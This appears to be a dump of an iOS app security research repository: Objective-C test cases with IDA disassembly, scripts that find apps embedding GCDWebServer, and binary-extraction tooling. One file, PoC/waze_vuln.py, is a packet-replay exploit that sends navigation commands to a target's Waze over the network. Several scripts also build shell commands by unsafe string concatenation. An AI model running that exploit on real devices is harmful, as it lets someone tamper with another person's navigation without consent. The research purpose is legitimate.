| 126 | } 127 | 128 | 129 | 130 | // no challenge at all. 131 | 132 | // although there is no `getter' and `setter' method in source code. 133 | 134 | // it is in binary which is generated by the compiler. 135 | 136 | -------------------------------------------------------------------------------- /Static analysis/test case/Method abstraction/AppDelegate.m: -------------------------------------------------------------------------------- 1 | NSString *autoreleaseString; 2 | 3 | autoreleaseString = [[NSString alloc] initWithString:@"blabla"]; 4 | 5 | [autoreleaseString autorelease]; 6 | 7 | [autoreleaseString stringByAppendingString: @"blabla"]; 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | __text:000000010000685C STUR X1, [X29,#var_10] 16 | 17 | __text:0000000100006860 BL _objc_autoreleasePoolPush 18 | 19 | __text:0000000100006864 ADRP X1, #selRef_alloc@PAGE 20 | 21 | __text:0000000100006868 ADD X1, X1, #selRef_alloc@PAGEOFF 22 | 23 | __text:000000010000686C ADRP X30, #classRef_NSString@PAGE 24 | 25 | __text:0000000100006870 ADD X30, X30, #classRef_NSString@PAGEOFF 26 | 27 | __text:0000000100006874 LDR X30, [X30] ; _OBJC_CLASS_$_NSString 28 | 29 | __text:0000000100006878 LDR X1, [X1] ; "alloc" 30 | 31 | __text:000000010000687C STUR X0, [X29,#var_40] 32 | 33 | __text:0000000100006880 MOV X0, X30 ; void * 34 | 35 | __text:0000000100006884 BL _objc_msgSend 36 | 37 | 38 | 39 | ; next `X0` may pollute by this `_objc_msgSend`, but it isn't 40 | 41 | 42 | 43 | __text:0000000100006888 ADRP X1, #cfstr_Blabla@PAGE ; "blabla" 44 | 45 | __text:000000010000688C ADD X1, X1, #cfstr_Blabla@PAGEOFF ; "blabla" 46 | 47 | __text:0000000100006890 ADRP X30, #selRef_initWithString_@PAGE 48 | 49 | __text:0000000100006894 ADD X30, X30, #selRef_initWithString_@PAGEOFF 50 | 51 | __text:0000000100006898 LDR X30, [X30] ; "initWithString:" 52 | 53 | __text:000000010000689C STUR X1, [X29,#var_48] 54 | 55 | __text:00000001000068A0 MOV X1, X30 ; char * 56 | 57 | __text:00000001000068A4 LDUR X2, [X29,#var_48] 58 | 59 | __text:00000001000068A8 BL _objc_msgSend 60 | 61 | 62 | 63 | ; next `X0` may pollute by this `_objc_msgSend`, but it isn't 64 | 65 | 66 | 67 | __text:00000001000068AC ADRP X1, #selRef_autorelease@PAGE 68 | 69 | __text:00000001000068B0 ADD X1, X1, #selRef_autorelease@PAGEOFF 70 | 71 | __text:00000001000068B4 STUR X0, [X29,#var_18] 72 | 73 | __text:00000001000068B8 LDUR X0, [X29,#var_18] 74 | 75 | __text:00000001000068BC LDR X1, [X1] ; "autorelease" 76 | 77 | 78 | __text:00000001000068C0 BL _objc_msgSend 79 | 80 | 81 | 82 | 83 | 84 | -------------------------------------------------------------------------------- /GCDWebServerStud/mongodata-survey_GCDWebServer.py: -------------------------------------------------------------------------------- 1 | #coding:utf8 2 | 3 | from pymongo import MongoClient 4 | import sys 5 | import os 6 | import re 7 | import json 8 | 9 | 10 | conn = MongoClient('192.168.10.143', 27017) 11 | db = conn.ios_metedata 12 | ipa_basic_tb = db.basic_info_0521 13 | ipa_symbol_tb = db.symbol_table_0521 14 | ipa_string_tb = db.strings_0521 15 | 16 | # pipe = [ 17 | # {'$match': {'hash': hashsum}}, 18 | # {'$group': {'_id': '$path', 'num': {'$sum': 1}}}, 19 | # ] 20 | # res = list(db.sdk.aggregate(pipeline=pipe)) 21 | 22 | def overlapping_test(): 23 | 24 | print ipa_basic_tb.count() 25 | print len(ipa_basic_tb.distinct("BundleIdentifier")) 26 | return 27 | 28 | def main(): 29 | overlapping_test() 30 | 31 | # find GCDWebServer: _OBJC_CLASS_$_GCDWebServer\n 32 | bundle_gcdwebserver_set = set() 33 | 34 | for i in ipa_string_tb.find({"Value": {"$regex":"GCDWebServer"}}): 35 | bundle_gcdwebserver_set.add(ipa_basic_tb.find_one({"Hash": i["Hash"]})["BundleIdentifier"]) 36 | print len(bundle_gcdwebserver_set) 37 | print bundle_gcdwebserver_set 38 | 39 | 40 | # find CDVWKWebViewEngine 41 | bundle_ionic_web_view_set = set() 42 | 43 | for i in ipa_string_tb.find({"Value": {"$regex":"CDVWKWebViewEngine"}}): 44 | bundle_ionic_web_view_set.add(ipa_basic_tb.find_one({"Hash": i["Hash"]})["BundleIdentifier"]) 45 | print len(bundle_ionic_web_view_set) 46 | print bundle_ionic_web_view_set 47 | 48 | # find ADCWebViewModule 49 | bundle_adc_web_view_set = set() 50 | 51 | for i in ipa_string_tb.find({"Value": {"$regex":"ADCWebViewModule"}}): 52 | bundle_adc_web_view_set.add(ipa_basic_tb.find_one({"Hash": i["Hash"]})["BundleIdentifier"]) 53 | print len(bundle_adc_web_view_set) 54 | print bundle_adc_web_view_set 55 | 56 | # result: GCDWebServer && !CDVWKWebViewEngine 57 | bundle_gcdwebserver_and_not_ionic_web_view_set = bundle_gcdwebserver_set - bundle_ionic_web_view_set - bundle_adc_web_view_set 58 | print len(bundle_gcdwebserver_set - bundle_ionic_web_view_set - bundle_adc_web_view_set) 59 | print bundle_gcdwebserver_and_not_ionic_web_view_set 60 | 61 | for b in bundle_gcdwebserver_and_not_ionic_web_view_set: 62 | t = ipa_basic_tb.find_one({"BundleIdentifier":b}) 63 | print t["Path"].encode("utf8") 64 | os.system("cp " + '"' + t["Path"].encode("utf8")[0:5] + t["Path"].encode("utf8")[9:] + '"' + " /data/ipa_clawer/exchange/ipa/" + b.encode("utf8") + ".ipa") 65 | # find: GCDWebServer && !CDVWKWebViewEngine && BindToLocalhost 66 | # bundle_gcdwebserver_and_not_ionic_web_view_set_not_bindtolocal = set() 67 | # for b in bundle_gcdwebserver_and_not_ionic_web_view_set: 68 | # if ipa_string_tb.find({"BundleIdentifier": b, "Value": {"$regex":"BindToLocalhost"}}).count() == 0: 69 | # bundle_gcdwebserver_and_not_ionic_web_view_set_not_bindtolocal.add(b) 70 | # 71 | # print len(bundle_gcdwebserver_and_not_ionic_web_view_set_not_bindtolocal) 72 | # print bundle_gcdwebserver_and_not_ionic_web_view_set_not_bindtolocal 73 | 74 | # print len(bundle_ionic_web_view_set - bundle_gcdwebserver_set) 75 | # print bundle_ionic_web_view_set - bundle_gcdwebserver_set 76 | 77 | return 78 | 79 | if __name__ == '__main__': 80 | main() 81 | -------------------------------------------------------------------------------- /Misc/ObfsStud/class_dump.py: -------------------------------------------------------------------------------- 1 | #coding:utf8 2 | 3 | import sys 4 | import os 5 | import re 6 | import json 7 | import zipfile 8 | import string 9 | from biplist import readPlist 10 | from subprocess import Popen, PIPE 11 | import multiprocessing 12 | 13 | ''' 14 | work on my Mac box 15 | ''' 16 | 17 | ipa_path = "/Volumes/Elements/ipa/5000" 18 | ipa_path_done = "/Volumes/Elements/obfs/class-dump" 19 | cache_path = "/Volumes/Elements/obfs/cache" 20 | bin_path = "/Volumes/Elements/obfs/bin" 21 | 22 | 23 | class ipa_parse(object): 24 | ipa_file_path = None 25 | 26 | def __init__(self, ipa_file_path): 27 | ''' 28 | Constructor 29 | ''' 30 | self.ipa_file_path = ipa_file_path 31 | 32 | def gen_binary(self): 33 | tmp = [] 34 | zfile = zipfile.ZipFile(self.ipa_file_path) 35 | zip_name_list = zfile.namelist() 36 | for name in zip_name_list: 37 | # ./test/手机淘宝.ipa 38 | # Payload/Taobao4iPhone.app/Watch/Taobao4iPhone WatchOS App.app/Info.plist 39 | # Payload/Taobao4iPhone.app/Info.plist 40 | if name.endswith(".app/Info.plist") == 1: 41 | tmp.append(name) 42 | print name 43 | 44 | real_plist_file = tmp[0] 45 | for t in tmp: 46 | if len(real_plist_file) > len(t): 47 | real_plist_file = t 48 | print real_plist_file 49 | 50 | with open(os.path.join(cache_path, "Info.plist"), "w") as fwh: 51 | fwh.write(zfile.read(real_plist_file)) 52 | 53 | plist_info_list = readPlist(os.path.join(cache_path, "Info.plist")) 54 | if 'CFBundleExecutable' in plist_info_list: 55 | print plist_info_list['CFBundleExecutable'] 56 | executable_file = plist_info_list['CFBundleExecutable'] 57 | else: 58 | return "" 59 | 60 | # to real_plist_file with bundle path 61 | executable_path = real_plist_file[:len(real_plist_file) - 10] + executable_file 62 | print executable_path 63 | 64 | new_executable_path = os.path.join(bin_path, plist_info_list['CFBundleIdentifier']) 65 | with open(new_executable_path, "w") as fwh: 66 | fwh.write(zfile.read(executable_path)) 67 | 68 | os.remove(os.path.join(cache_path, "Info.plist")) 69 | 70 | zfile.close() 71 | return plist_info_list['CFBundleIdentifier'] 72 | 73 | def main(): 74 | pool = multiprocessing.Pool(processes = 10) 75 | 76 | for dirpath, dirnames, ifilenames in os.walk(ipa_path): 77 | for ifilename in ifilenames: 78 | ipa_file = os.path.join(dirpath, ifilename) 79 | if ipa_file.endswith(".ipa"): 80 | print ipa_file 81 | try: 82 | parser = ipa_parse(ipa_file) 83 | binfile = parser.gen_binary() 84 | print ">>" + binfile 85 | 86 | os.system("/Users/demo/Desktop/toolbox/class-dump-3.5/class-dump " + "\'" + os.path.join(bin_path, binfile) + "' > " + "\'" + os.path.join(ipa_path_done, binfile) + ".txt\'") 87 | os.remove(os.path.join(bin_path, binfile)) 88 | 89 | except Exception as e: 90 | print(e) 91 | continue 92 | pool.close() 93 | pool.join() 94 | 95 | return 96 | 97 | if __name__ == '__main__': 98 | main() 99 | -------------------------------------------------------------------------------- /PoC/waze_vuln.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | from scapy.all import * 3 | import socket 4 | import binascii 5 | import time 6 | 7 | 8 | 9 | 10 | def main(argv): 11 | socklst = [] 12 | 13 | playfile = './weblink-' + argv[0] + '.pcap' 14 | packets = rdpcap(playfile) 15 | 16 | print "[*] Action: " + argv[0] 17 | if argv[0] == "gohome": 18 | ssport = 56968 19 | elif argv[0] == "gowork": 20 | ssport = 57200 21 | elif argv[0] == "gohome-again": 22 | ssport = 57224 23 | else: 24 | print "wrong arg" 25 | return 26 | 27 | i = 0 28 | sip = "" 29 | for ip in argv[1: ]: 30 | sip += ip 31 | sip += ', ' 32 | socklst.append(socket.socket()) 33 | address = (ip, 12345) 34 | socklst[i].connect(address) 35 | i+=1 36 | print "[*] Ip list: " + sip 37 | 38 | print "[*] Sending payload..." 39 | i = 0 40 | for packet in packets: 41 | if packet.haslayer(Raw): 42 | # print "sport: " + str(packet.sport) 43 | # print "dport: " + str(packet.dport) 44 | # print "-----" 45 | 46 | 47 | if packet.sport == ssport and packet.dport == 55432: 48 | 49 | # print "**** sending data ****" 50 | #print binascii.b2a_hex(packet.load) 51 | time.sleep(0.02) 52 | if packet.load[2] == "\x48": 53 | i += 1 54 | #print '[' + str(i) + ']: ' + binascii.b2a_hex(packet.load) 55 | if i == 19: 56 | time.sleep(7) 57 | try: 58 | for sk in socklst: 59 | sk.send(packet.load) 60 | # print "**** recv data ****" 61 | # print binascii.b2a_hex(sk.recv(2048)) 62 | 63 | except: 64 | print "err" 65 | continue 66 | #print i 67 | print "[+] Done" 68 | return 69 | 70 | # rdpcap comes from scapy and loads in our pcap file 71 | #packets = rdpcap('./weblink-gohome.pcap') 72 | 73 | 74 | sk = socket.socket() 75 | address = ('192.168.30.177', 12345) 76 | sk.connect(address) 77 | 78 | 79 | # Let's iterate through every packet 80 | 81 | 82 | #print packet.load 83 | 84 | # We're only interested packets with a DNS Round Robin layer 85 | 86 | # If the an(swer) is a DNSRR, print the name it replied with. 87 | #packet.show() 88 | # print packet.type 89 | 90 | 91 | # print packet.src 92 | # print packet.dst 93 | #print packet.load 94 | #if packet.sport == 51061 and packet.dport == 55432: #reroute 95 | #if packet.sport == 55904 or packet.dport == 55432: #up 96 | #if packet.sport == 56384 and packet.dport == 55432: #up 97 | #if packet.sport == 56395 and packet.dport == 55432: #down 98 | #if packet.sport == 56415 and packet.dport == 55432: #left 99 | #if packet.sport == 56443 and packet.dport == 55432: #right 100 | #if packet.sport == 56968 and packet.dport == 55432: #gohome 101 | 102 | 103 | if __name__ == "__main__": 104 | main(sys.argv[1:]) -------------------------------------------------------------------------------- /Static analysis/test case/KVC/AppDelegate.m: -------------------------------------------------------------------------------- 1 | // 2 | 3 | // main.m 4 | 5 | // singleview 6 | 7 | // 8 | 9 | // Created by demo on 2018/1/12. 10 | 11 | // Copyright © 2018 demo. All rights reserved. 12 | 13 | // 14 | 15 | 16 | 17 | #import 18 | 19 | #import "AppDelegate.h" 20 | 21 | 22 | 23 | @interface Car: NSObject 24 | 25 | { 26 | 27 | NSString *blabla; 28 | 29 | } 30 | 31 | @end 32 | 33 | 34 | 35 | @implementation Car 36 | 37 | 38 | 39 | -(Car *) init 40 | 41 | { 42 | 43 | self->blabla = @"blabla"; 44 | 45 | return self; 46 | 47 | } 48 | 49 | 50 | 51 | @end 52 | 53 | 54 | 55 | int main(int argc, char * argv[]) { 56 | 57 | @autoreleasepool { 58 | 59 | Car *x = [Car new]; 60 | 61 | NSString *y = [x valueForKey: @"blabla"]; 62 | 63 | NSLog(@"%@", y); 64 | 65 | return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class])); 66 | 67 | } 68 | 69 | } 70 | 71 | 72 | 73 | 74 | 75 | __text:00000001000068AC BL _objc_autoreleasePoolPush 76 | 77 | __text:00000001000068B0 ADRP X1, #selRef_new@PAGE 78 | 79 | __text:00000001000068B4 ADD X1, X1, #selRef_new@PAGEOFF 80 | 81 | __text:00000001000068B8 ADRP X30, #classRef_Car@PAGE 82 | 83 | __text:00000001000068BC ADD X30, X30, #classRef_Car@PAGEOFF 84 | 85 | __text:00000001000068C0 LDR X30, [X30] ; _OBJC_CLASS_$_Car 86 | 87 | __text:00000001000068C4 LDR X1, [X1] ; "new" 88 | 89 | __text:00000001000068C8 STUR X0, [X29,#var_28] 90 | 91 | __text:00000001000068CC MOV X0, X30 ; void * 92 | 93 | __text:00000001000068D0 BL _objc_msgSend 94 | 95 | __text:00000001000068D4 ADRP X1, #cfstr_Blabla_0@PAGE ; "blabla" 96 | 97 | __text:00000001000068D8 ADD X1, X1, #cfstr_Blabla_0@PAGEOFF ; "blabla" 98 | 99 | __text:00000001000068DC ADRP X30, #selRef_valueForKey_@PAGE 100 | 101 | __text:00000001000068E0 ADD X30, X30, #selRef_valueForKey_@PAGEOFF 102 | 103 | __text:00000001000068E4 STUR X0, [X29,#var_18] 104 | 105 | __text:00000001000068E8 LDUR X0, [X29,#var_18] 106 | 107 | __text:00000001000068EC LDR X30, [X30] ; "valueForKey:" 108 | 109 | __text:00000001000068F0 STUR X1, [X29,#var_30] 110 | 111 | __text:00000001000068F4 MOV X1, X30 ; char * 112 | 113 | __text:00000001000068F8 LDUR X2, [X29,#var_30] 114 | 115 | __text:00000001000068FC BL _objc_msgSend 116 | 117 | __text:0000000100006900 MOV X29, X29 118 | 119 | __text:0000000100006904 BL _objc_retainAutoreleasedReturnValue 120 | 121 | __text:0000000100006908 STUR X0, [X29,#var_20] 122 | 123 | __text:000000010000690C LDUR X0, [X29,#var_20] 124 | 125 | __text:0000000100006910 MOV X1, SP 126 | 127 | __text:0000000100006914 STR X0, [X1,#0x70+var_70] 128 | 129 | __text:0000000100006918 ADRP X0, #stru_1000080A8@PAGE ; "%@" 130 | 131 | __text:000000010000691C ADD X0, X0, #stru_1000080A8@PAGEOFF ; "%@" 132 | 133 | 134 | __text:0000000100006920 BL _NSLog 135 | 136 | 137 | 138 | 139 | 140 | Although this is not a direct `field` access, we do not care for we focus on `control` access. 141 | -------------------------------------------------------------------------------- /Data analysis/call stack analysis/log_process.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import idaapi, idc, idautils, ida_auto 4 | import re 5 | import os.path 6 | import ida_ua 7 | # import pickle 8 | import simplejson as json 9 | 10 | ida_path=get_idb_path() 11 | print ida_path 12 | folder_path=os.path.dirname(os.path.dirname(os.path.dirname(ida_path))) 13 | with open(folder_path+'\detourinfo.dat','r') as f: 14 | log_list=[] 15 | offset='' 16 | is_1st=True 17 | for l in f.readlines(): 18 | r=re.search('\s*\d*\s*\S*\s*0x[\da-f]{16}\s\S*\s\+\s\d*',l) 19 | if r and is_1st: 20 | # print (r.group()) 21 | t = r.group().split() 22 | t.remove('+') 23 | log_list.append(t) 24 | if l.startswith('['): 25 | # print (l) 26 | offset=l[6:24] 27 | if '\t)'in l: 28 | is_1st=False 29 | # print (offset) 30 | # print (log_list) 31 | 32 | def hex2int(hex_str): 33 | return int(hex_str[2:],16) 34 | 35 | # def lstr2int(lstr): 36 | # return int(lstr[:-1]) 37 | 38 | fun_range_list=[] 39 | for i in log_list: 40 | addr=hex2int(i[2])-hex2int(offset) 41 | # print (hex(addr),addr) 42 | print hex(addr),i[1],i[3] 43 | ea = idc.Jump(addr) 44 | if ea == idc.BADADDR or ea == 0: 45 | print "BADADDR" 46 | continue 47 | ea = addr 48 | 49 | start = idc.GetFunctionAttr(ea, FUNCATTR_START) 50 | end = idc.GetFunctionAttr(ea, FUNCATTR_END) 51 | # add_range=[SegStart(ea),SegEnd(ea)] 52 | 53 | add_range=[start,end] 54 | # if add_range not in fun_range_list: 55 | fun_range_list.append(add_range) 56 | i.append(add_range) 57 | # print hex(add_range[0]),hex(add_range[1]) 58 | # func = idaapi.get_func(addr) 59 | # funcname = GetFunctionName(func.startEA) 60 | # for funcea in Functions(SegStart(ea), SegEnd(ea)): 61 | # name = GetFunctionName(funcea) 62 | # print name 63 | # print SegName() 64 | # print (addr) 65 | 66 | # print fun_range_list 67 | for i in fun_range_list: 68 | print hex(i[0]),hex(i[1]) 69 | 70 | # print log_list 71 | 72 | # DEBUG 73 | # fun_range_list=[[int(0x0000001002A95AC),int(0x0000001002A9624)]] 74 | print '#####COMMENTS#####' 75 | # with open(folder_path+'\cmt_strs_rated.txt','w') as fr: 76 | with open(folder_path+'\cmt_strs.json','w') as f: 77 | l=len(fun_range_list) 78 | # hardcode 79 | # l=11 80 | cmt_list=[] 81 | for index,pairs in enumerate(fun_range_list): 82 | # print pairs 83 | # print int(pairs[0]),int(pairs[1]) 84 | for i in range(int(pairs[0]),int(pairs[1]),4): 85 | asms=filter(None,GetDisasm(i).split(';')) 86 | if len(asms)>=2: 87 | cmt=Comment(i) 88 | as_cmt=asms[-1].lstrip() 89 | if asms[-1].lstrip()!=cmt: 90 | # print hex(i),asms,cmt 91 | print hex(i),l-index,as_cmt 92 | cmt_list.append([l-index,as_cmt]) 93 | # f.write(str(l-index)+'\t'+as_cmt+'\n') 94 | # # obsolete 95 | # f.write(as_cmt+' ') 96 | # for j in range(l-index): 97 | # fr.write(as_cmt+' ') 98 | # print cmt_list 99 | json.dump(cmt_list, f) 100 | # #non-empty block algorism 101 | # block_index=list(set([row[0] for row in cmt_list])) 102 | # # print block_index 103 | # for cmt in cmt_list: 104 | # r = block_index.index(cmt[0])+1 105 | # print r,cmt[1] 106 | # # f.write(cmt[1]+' ')#no multiplier 107 | # for i in range(r): 108 | # f.write(cmt[1]+' ')#w multiplier 109 | # # cmt=RptCmt(i) 110 | # # if cmt: 111 | # # print hex(i),cmt 112 | -------------------------------------------------------------------------------- /GCDWebServerStud/IDA_parse.py: -------------------------------------------------------------------------------- 1 | #coding:utf8 2 | 3 | import sys 4 | import os 5 | import re 6 | import json 7 | import zipfile 8 | import string 9 | from biplist import readPlist 10 | from subprocess import Popen, PIPE 11 | import multiprocessing 12 | 13 | ipa_path = "/Volumes/Elements/GCDWebServerStud/gcdwebserver_ipa_fresh" 14 | ipa_path_done = "/Volumes/Elements/GCDWebServerStud/gcdwebserver_ipa_done" 15 | cache_path = "/Volumes/Elements/GCDWebServerStud/cache" 16 | bin_path = "/Volumes/Elements/GCDWebServerStud/bin" 17 | 18 | def ida_parse_process(binary_file, mv_src, mv_des): 19 | p = Popen("\"/Applications/IDA Pro 7.0/ida.app/Contents/MacOS/ida64\" -B \"{}\"".format(binary_file), stdout = PIPE, stderr = PIPE, shell = True) 20 | stdout, stderr = p.communicate() 21 | os.system("mv " + mv_src + " " + mv_des) 22 | 23 | #http://python.jobbole.com/82045/ 24 | #multiple process 25 | 26 | class ipa_parse(object): 27 | ipa_file_path = None 28 | 29 | def __init__(self, ipa_file_path): 30 | ''' 31 | Constructor 32 | ''' 33 | self.ipa_file_path = ipa_file_path 34 | 35 | def gen_binary(self): 36 | tmp = [] 37 | zfile = zipfile.ZipFile(self.ipa_file_path) 38 | zip_name_list = zfile.namelist() 39 | for name in zip_name_list: 40 | # ./test/手机淘宝.ipa 41 | # Payload/Taobao4iPhone.app/Watch/Taobao4iPhone WatchOS App.app/Info.plist 42 | # Payload/Taobao4iPhone.app/Info.plist 43 | if name.endswith(".app/Info.plist") == 1: 44 | tmp.append(name) 45 | print name 46 | 47 | real_plist_file = tmp[0] 48 | for t in tmp: 49 | if len(real_plist_file) > len(t): 50 | real_plist_file = t 51 | print real_plist_file 52 | 53 | with open(os.path.join(cache_path, "Info.plist"), "w") as fwh: 54 | fwh.write(zfile.read(real_plist_file)) 55 | 56 | plist_info_list = readPlist(os.path.join(cache_path, "Info.plist")) 57 | if 'CFBundleExecutable' in plist_info_list: 58 | print plist_info_list['CFBundleExecutable'] 59 | executable_file = plist_info_list['CFBundleExecutable'] 60 | else: 61 | return "" 62 | 63 | # to real_plist_file with bundle path 64 | executable_path = real_plist_file[:len(real_plist_file) - 10] + executable_file 65 | print executable_path 66 | # overlapping may happen when using ida, so, i make new folder to hold the binary 67 | new_executable_path = os.path.join(bin_path, plist_info_list['CFBundleIdentifier']) 68 | print new_executable_path 69 | os.system("mkdir " + new_executable_path) 70 | 71 | with open(os.path.join(new_executable_path, plist_info_list['CFBundleIdentifier']), "w") as fwh: 72 | fwh.write(zfile.read(executable_path)) 73 | 74 | os.remove(os.path.join(cache_path, "Info.plist")) 75 | 76 | zfile.close() 77 | return os.path.join(new_executable_path, plist_info_list['CFBundleIdentifier']) 78 | 79 | def main(): 80 | pool = multiprocessing.Pool(processes = 10) 81 | 82 | for dirpath, dirnames, ifilenames in os.walk(ipa_path): 83 | for ifilename in ifilenames: 84 | ipa_file = os.path.join(dirpath, ifilename) 85 | if ipa_file.endswith(".ipa"): 86 | print ipa_file 87 | try: 88 | parser = ipa_parse(ipa_file) 89 | binfile = parser.gen_binary() 90 | print ">>" + binfile 91 | 92 | print ipa_file 93 | print ipa_path_done 94 | pool.apply_async(ida_parse_process, args=(binfile, ipa_file, ipa_path_done)) 95 | # os.system("\"/Applications/IDA Pro 7.0/ida.app/Contents/MacOS/ida64\" -B \"{}\"".format(binfile)) 96 | except Exception as e: 97 | print(e) 98 | continue 99 | pool.close() 100 | pool.join() 101 | 102 | return 103 | 104 | if __name__ == '__main__': 105 | main() 106 | -------------------------------------------------------------------------------- /Static analysis/test case/Concurrency/AppDelegate.m: -------------------------------------------------------------------------------- 1 | // 2 | 3 | // main.m 4 | 5 | // demo 6 | 7 | // 8 | 9 | // Created by demo on 2018/1/23. 10 | 11 | // Copyright © 2018 demo. All rights reserved. 12 | 13 | // 14 | 15 | 16 | 17 | #import 18 | 19 | #import "AppDelegate.h" 20 | 21 | 22 | 23 | @interface Foo : NSObject { 24 | 25 | dispatch_queue_t _serial_queue; 26 | 27 | dispatch_queue_t _concurent_queue; 28 | 29 | dispatch_queue_t _main_queue; 30 | 31 | } 32 | 33 | -(void)foox; 34 | 35 | @end 36 | 37 | 38 | 39 | @implementation Foo 40 | 41 | 42 | 43 | -(void)foox 44 | 45 | { 46 | 47 | 48 | 49 | _serial_queue = dispatch_queue_create("com.apress.MySerialQueue1", NULL); 50 | 51 | dispatch_suspend(_serial_queue); 52 | 53 | NSMutableDictionary *myContext = [[NSMutableDictionary alloc] initWithCapacity:5]; 54 | 55 | [myContext setObject:@"My Context" forKey:@"title"]; 56 | 57 | [myContext setObject:[NSNumber numberWithInt:0] forKey:@"value"]; 58 | 59 | dispatch_set_context(_serial_queue, (__bridge_retained void *)myContext); 60 | 61 | dispatch_set_finalizer_f(_serial_queue, &myFinalizerFunction); 62 | 63 | 64 | 65 | _concurent_queue = dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0); 66 | 67 | 68 | 69 | dispatch_async(_serial_queue, ^{ NSLog(@"Serial Task 1"); }); 70 | 71 | 72 | 73 | dispatch_async(_serial_queue, ^{ 74 | 75 | NSLog(@"Serial Task 2"); 76 | 77 | NSMutableDictionary *context = (__bridge NSMutableDictionary *)dispatch_get_context(dispatch_get_current_queue()); 78 | 79 | NSNumber *value = [context objectForKey:@"value"]; 80 | 81 | NSLog(@"value = %@", value); 82 | 83 | NSInteger number = [value intValue]; 84 | 85 | number++; 86 | 87 | NSLog(@"value = %@", value); 88 | 89 | [myContext setValue:[NSNumber numberWithInt:number] forKey:@"value"]; 90 | 91 | }); 92 | 93 | 94 | 95 | dispatch_async_f(_serial_queue, (__bridge void *)[NSNumber numberWithInt:3], (dispatch_function_t)myDispatchFuction); 96 | 97 | dispatch_async(_serial_queue, ^{ 98 | 99 | NSLog(@"Serial Task 4"); 100 | 101 | NSMutableDictionary *myContext = (__bridge NSMutableDictionary *)dispatch_get_context(dispatch_get_current_queue()); 102 | 103 | NSNumber *value = [myContext objectForKey:@"value"]; 104 | 105 | NSLog(@"value = %@", value); 106 | 107 | }); 108 | 109 | 110 | 111 | dispatch_block_t myBlock = ^{ NSLog(@"My Predfined block"); }; 112 | 113 | dispatch_async(_serial_queue, myBlock); 114 | 115 | dispatch_resume(_serial_queue); 116 | 117 | 118 | 119 | dispatch_async(_concurent_queue, ^{ NSLog(@"concurrent task 1");}); 120 | 121 | dispatch_async(_concurent_queue, ^{ NSLog(@"concurrent task 2");}); 122 | 123 | dispatch_async(_concurent_queue, ^{ NSLog(@"concurrent task 3");}); 124 | 125 | dispatch_async(_concurent_queue, ^{ NSLog(@"concurrent task 4");}); 126 | 127 | } 128 | 129 | 130 | 131 | void myDispatchFuction(void *argument) 132 | 133 | { 134 | 135 | NSLog(@"Serial Task %@", (__bridge NSNumber *)argument); 136 | 137 | NSMutableDictionary *context = (__bridge NSMutableDictionary *)dispatch_get_context(dispatch_get_current_queue()); 138 | 139 | NSNumber *value = [context objectForKey:@"value"]; 140 | 141 | NSLog(@"value = %@", value); 142 | 143 | } 144 | 145 | 146 | 147 | void myFinalizerFunction(void *context) 148 | 149 | { 150 | 151 | NSLog(@"myFinalizerFunction"); 152 | 153 | NSMutableDictionary *theData = (__bridge_transfer NSMutableDictionary*)context; 154 | 155 | [theData removeAllObjects]; 156 | 157 | } 158 | 159 | @end 160 | 161 | 162 | 163 | int main(int argc, char * argv[]) { 164 | 165 | 166 | 167 | @autoreleasepool { 168 | 169 | 170 | 171 | Foo *myfoo = [Foo new]; 172 | 173 | [myfoo foox]; 174 | 175 | 176 | 177 | return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class])); 178 | 179 | } 180 | 181 | } 182 | -------------------------------------------------------------------------------- /Static analysis/test case/Blocks/AppDelegate.m: -------------------------------------------------------------------------------- 1 | 2 | // 3 | 4 | // main.m 5 | 6 | // demo 7 | 8 | // 9 | 10 | // Created by demo on 2018/1/23. 11 | 12 | // Copyright © 2018 demo. All rights reserved. 13 | 14 | // 15 | 16 | 17 | 18 | // blocks is likely to be a disaster for our analysis 19 | 20 | // basically, blocks can be considered as function pointer. 21 | 22 | 23 | 24 | // Blocks have two types of bindings: automatic and managed. Automatic bindings use memory on the stack, and managed bindings are created on the heap. 25 | 26 | 27 | 28 | 29 | 30 | #import 31 | 32 | #import "AppDelegate.h" 33 | 34 | 35 | 36 | 37 | 38 | int main(int argc, char * argv[]) { 39 | 40 | 41 | 42 | @autoreleasepool { 43 | 44 | 45 | 46 | void (^theBlock)() = ^{ printf("Hello Blocks!\n"); }; 47 | 48 | theBlock(); 49 | 50 | 51 | 52 | return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class])); 53 | 54 | } 55 | 56 | } 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | __text:0000000100006A74 ADRP X1, #___block_literal_global@PAGE 65 | 66 | __text:0000000100006A78 ADD X1, X1, #___block_literal_global@PAGEOFF 67 | 68 | __text:0000000100006A7C STUR X0, [X29,#var_20] 69 | 70 | __text:0000000100006A80 MOV X0, X1 71 | 72 | __text:0000000100006A84 BL _objc_retainBlock 73 | 74 | __text:0000000100006A88 STUR X0, [X29,#var_18] 75 | 76 | __text:0000000100006A8C LDUR X0, [X29,#var_18] 77 | 78 | __text:0000000100006A90 MOV X1, X0 79 | 80 | __text:0000000100006A94 LDR X0, [X0,#0x10] 81 | 82 | __text:0000000100006A98 STUR X0, [X29,#var_28] 83 | 84 | __text:0000000100006A9C MOV X0, X1 85 | 86 | __text:0000000100006AA0 LDUR X1, [X29,#var_28] 87 | 88 | 89 | __text:0000000100006AA4 BLR X1 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | __const:0000000100008090 ___block_literal_global DCQ __NSConcreteGlobalBlock 98 | 99 | __const:0000000100008090 ; DATA XREF: _main+1C↑o 100 | 101 | __const:0000000100008090 ; _main+20↑o 102 | 103 | __const:0000000100008098 DCB 0 104 | 105 | __const:0000000100008099 DCB 0 106 | 107 | __const:000000010000809A DCB 0 108 | 109 | __const:000000010000809B DCB 0x50 ; P 110 | 111 | __const:000000010000809C DCB 0 112 | 113 | __const:000000010000809D DCB 0 114 | 115 | __const:000000010000809E DCB 0 116 | 117 | __const:000000010000809F DCB 0 118 | 119 | __const:00000001000080A0 DCQ ___main_block_invoke 120 | 121 | __const:00000001000080A8 DCQ ___block_descriptor_tmp 122 | 123 | 124 | 125 | 126 | 127 | __text:0000000100006B54 ; Attributes: bp-based frame 128 | 129 | __text:0000000100006B54 130 | 131 | __text:0000000100006B54 ___main_block_invoke ; DATA XREF: __const:00000001000080A0↓o 132 